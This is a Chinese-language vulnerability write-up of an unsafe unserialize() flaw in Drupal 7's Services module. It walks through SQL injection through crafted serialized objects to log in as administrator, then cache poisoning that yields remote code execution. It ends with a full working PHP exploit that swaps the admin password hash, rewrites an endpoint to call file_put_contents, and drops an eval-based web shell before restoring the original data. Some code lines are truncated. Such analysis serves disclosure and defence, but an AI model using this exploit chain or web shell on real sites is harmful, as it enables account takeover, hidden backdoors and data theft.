Drupal 7.x Service模块SQLi & RCE 漏洞分析

小憨 / 2017-04-05 12:39:00 / 浏览数 6374 安全技术 漏洞分析 顶(0) 踩(0)

在审计Drupal的Service模块的时候，检测到对 unserialize()函数的一次不安全调用。通过该漏洞，可以导致权限逃逸、SQL注入以及远程代码执行。

0x00 Service 模块

在Drupal中，Service模块提供了API，开放了一些服务接口给外部程序。作为基础功能，允许任何人使用SOAP、REST或者XMLRPC向服务端发送、获取多种格式的数据。
Service模块允许创建不同的endpoint，并且对不同的endpoint设置不同的resource。允许通过自定义的API与Web站点进行数据交互。例如，对于/user/login不仅可以通
请求包：

```
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/jsonContent-Length: 45Connection: close

{"username": "admin", "password": "password"}
```

响应包：

```
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw;expires=Sat, 25-Mar-2017 17:31:22
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrny
```

0x01 Vulnerability

Service模块有个属性，可以通过改变Http头中的 Content-Type/Accept字段，实现对输入输出格式的控制。默认情况下，允许以下格式：

- application/xml
- application/json
- multipart/form-data
- application/vnd.php.serialized

对于大多数人来说，最后一种格式并不常见。即，使用PHP序列化数据，测试如下：

请求包：

```
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
```

响应包：

```
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:1
```

```
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvD
```

查看源码，确实存在一个很隐蔽的反序列化漏洞。(services/servers/rest_server/includes/ServicesParser.inc)

```
<?php

function rest_server_request_parsers() {
   static $parsers = NULL;
   if (!$parsers) {
       $parsers = array(
           'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
           'application/json' => 'ServicesParserJSON',
           'application/vnd.php.serialized' => 'ServicesParserPHP',
           'multipart/form-data' => 'ServicesParserMultipart',
           'application/xml' => 'ServicesParserXML',
           'text/xml' => 'ServicesParserXML',
       );
   }
}

class ServicesParserPHP implements ServicesParserInterface {
   public function parse(ServicesContextInterface $context) {
       return unserialize($context->getRequestBody());
   }
}
```

如何利用呢？

0x02 Exploitation

Drupal缺乏一款简单易用的反序列化小工具。通常情况下，service模块中存在大量的endpoint，它们都具备利用序列化数据与服务器交互的能力，这就使得他们都有可能成

虽然/user/login是最常调用的endpoint之一，
本文主要实现针对这个endpoint的SQL注入攻击。在PHP反序列化启用的前提下，通过精心构造，甚至可以实现RCE攻击。

2.1 SQL注入

/user/login的主要的功能是实现认证。为实现这个目的，Drupal利用内部API，通过用户名在数据库中查找对应的密码哈希值，并将此值与用户输入的密码进行比较。这就&

```
<?php

$user = db_select('users', 'base')                 # Table: users Alias: base
   ->fields('base', array('uid', 'name', ...))    # Select every field
   ->condition('base.name', $username)            # Match the username
   ->execute();                                  # Build and run the query
```

对于反序列化漏洞，一般情况下，系统的崩溃是由于内部实现时存在bug，而不是通过提交常规的输入数据导致的。通常情况下API提供进行子查询的功能，在Drupal中通过
SelectQueryInterface来实现。

```
<?php

class DatabaseCondition implements QueryConditionInterface, Countable {

   public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {

       if ($condition['value'] instanceof SelectQueryInterface) {
           $condition['value']->compile(connection, $queryPlaceholder);
           $placeholders[] = (string) condition['value'];
           $arguments += condition['value']->arguments();
           // Subqueries are the actual value of the operator, we don't
           // need to add another below.
           $operator['use_value'] = FALSE;
       }
   }
}
```

如代码所示，在查询之前，查询语句未被检查，因此极有可能存在SQL注入。为了成功利用，用户输入的 $username:必须满足以下条件：

- 成功执行 SelectQueryInterface
- 成功执行 compile()
- 输入的string可控

SelectQueryExtender是 SelectQueryInterface中仅有的两个对象（include/database/select.inc）。SelectQueryExtender对标准SelectQuery对象进行了封装，其中的属性 $query 包含着之前提到的对象。当调用 compile()和 __toString()时，基类中的方法同时被调用。

```
<?php

class SelectQueryExtender implements SelectQueryInterface {

   /**    * The SelectQuery object we are extending/decorating.    *    * @var SelectQueryInterface    */
   # Note: Although this expects a SelectQueryInterface, this is never enforced
   protected $query;

   public function __toString() {
       return (string) $this->query;
   }

   public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
       return this->query->compile(connection, $queryPlaceholder);
   }
}
```

所以可以将这个类作为一个"代理"，实现与其他类之间的交互。这就使得我们满足了第一个条件。
后两个条件，在DatabaseCondition这个对象中被满足（includes/database/query.inc ）。处于性能的考虑，其中有个属性 stringVersion，在调用过compile之后依然包含之前的string表达式。

```
<?php

class DatabaseCondition implements QueryConditionInterface, Countable {
   protected $changed = TRUE;
   protected $queryPlaceholderIdentifier;

   public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
       // Re-compile if this condition changed or if we are compiled against a
       // different query placeholder object.
       if (this->changed || isset(this->queryPlaceholderIdentifier) && (this->queryPlaceholderIdentifier != queryPlaceholder->
           $this->changed = FALSE;
           this->stringVersion = implode(conjunction, $condition_fragments);
       }
   }

   public function __toString() {
       // If the caller forgot to call compile() first, refuse to run.
       if ($this->changed) {
           return NULL;
       }
       return $this->stringVersion;
   }
}
```

至此，触发SQL注入的条件都已经满足。最有效的利用方式就是，通过UNION查询将管理员的密码哈希值替换为我们自己的哈希值，实现成功登录。

```
# Original Query
SELECT
..., base.name AS name, base.pass AS pass, base.mail AS mail, ...
FROM
{users}
WHERE
(name =
# Injection starts here
0x3a)
UNION SELECT
..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...
FROM
{users}
ORDER BY (uid
# Injection ends here
);
```

也可以将数据库中的原有数据存放在其他字段中，比如，将管理员的签名替换为原始哈希值。

成功以管理员账号登录，并且可以查看数据库中的任何数据。

2.2 Remote Code Eexcution2.2 Remote Code Eexcution

Drupal拥有一张缓存表，存储着序列化数据。Service模块也有两张表，存储着每一个endpoint、资源列表、所需要的参数、以及所调用的函数。

事实上，修改cache表，可以使模块调用任意PHP函数，这将会对系统产生巨大的影响。很幸运，
DrupalCacheArray类刚好能实现以上功能。接下来的攻击就很简单了。

- 修改services_endpoint表中‘login’对应的resource字段，改为在服务器任意位置写入文件
- 访问/user/login，创建后门
- 恢复原有数据

为了不破坏endpoint，首先使用SQL注入获取原始数据，并仅修改特定字段。通过file_put_contents()成功创建后门之后，即恢复原始数据。

0x03 建议

由于该漏洞的成功利用，需要知道endpoint的全路径，所以一定程度上减轻了危害。但
"application/vnd.php.serialized"默认情况下是开启的，所以在不使用的情况下，建议关闭该选项。

0x04 EXP

```
#!/usr/bin/php<?php# Drupal Services Module Remote Code Execution Exploit# https://www.ambionics.io/blog/drupal-services-modul

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');define('TYPE_PHP', 'application/vnd.php.serialized');define('TYPE_JSON', 'application/json');define(

$url = 'http://vmweb.lan/drupal-7.54';$endpoint_path = '/rest_endpoint';$endpoint = 'rest_endpoint';

$file = [
   'filename' => 'dixuSOspsOUU.php',
   'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition{
   protected $conditions = [
       "#conjunction" => "AND"
   ];
   protected $arguments = [];
   protected $changed = false;
   protected $queryPlaceholderIdentifier = null;
   public $stringVersion = null;

   public function __construct($stringVersion=null)
   {
       $this->stringVersion = $stringVersion;

       if(!isset($stringVersion))
       {
           $this->changed = true;
           $this->stringVersion = null;
       }
   }
}

class SelectQueryExtender {
   # Contains a DatabaseCondition object instead of a SelectQueryInterface
```

```
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";$password_hash ='$S$D

# Take first user but with a custom password# Store the original password hash in signature_format, and endpoint cache# in sig
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0";

$query = new SelectQueryExtender($query);$data = ['username' => $query, 'password' => 'ouvreboite'];$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as wellif(!isset($json->user)){
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token];store('session', $session);

$user = $json->user;

# Unserialize the cached value# Note: Drupal websites admins, this is your opportunity to fight back :)$cache = unserialize($u

# Reassign fields$user->pass = $user->signature_format;unset($user->signature);unset($user->signature_format);

store('user', $user);

if($cache === false){
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data']))){
    e("Failed to write file.");
}
```

```
$file_url = $url . '/' . $file['filename'];x("File written: $file_url");

# HTTP Browser
class Browser{
   private $url;
   private $controller = CONTROLLER;
   private $action = ACTION;

   function __construct($url)
   {
       $this->url = $url;
   }

   function post($type, $data)
   {
       $headers = [
           "Accept: " . TYPE_JSON,
           "Content-Type: $type",
           "Content-Length: " . strlen($data)
       ];
       $url = $this->url . '/' . $this->controller . '/' . $this->action;

       $s = curl_init();
       curl_setopt($s, CURLOPT_URL, $url);
       curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
       curl_setopt($s, CURLOPT_POST, 1);
       curl_setopt($s, CURLOPT_POSTFIELDS, $data);
       curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
       curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
       curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
       $output = curl_exec($s);
       $error = curl_error($s);
       curl_close($s);

       if($error)
       {
           e("cURL: $error");
       }

       return json_decode($output);
   }
}

# Cache

function cache_poison($endpoint, $cache){
   $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
   cache_edit($tr);
}

function cache_reset($endpoint, $cache){
   $tr = new ThemeRegistry($cache, $endpoint, null, null);
   cache_edit($tr);
}

function cache_edit($tr){
   global $browser;
   $data = serialize([$tr]);
   $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message){
   print("$message\n");
}

function e($message){
   x($message);
   exit(1);
}

function store($name, $data){
   $filename = "$name.json";
   file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
   x("Stored $name information in $filename");
}
```

0x05 附录

Drupal 安装模块时遇到的FTP问题

Drupal 7的Service模块及其API

Service模块中文社区

Services Project

Services - Highly Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029

OAuth2.0

PHP反序列化

Drupal Vulnerability Details & Exploitation

精轫不怠,日进有功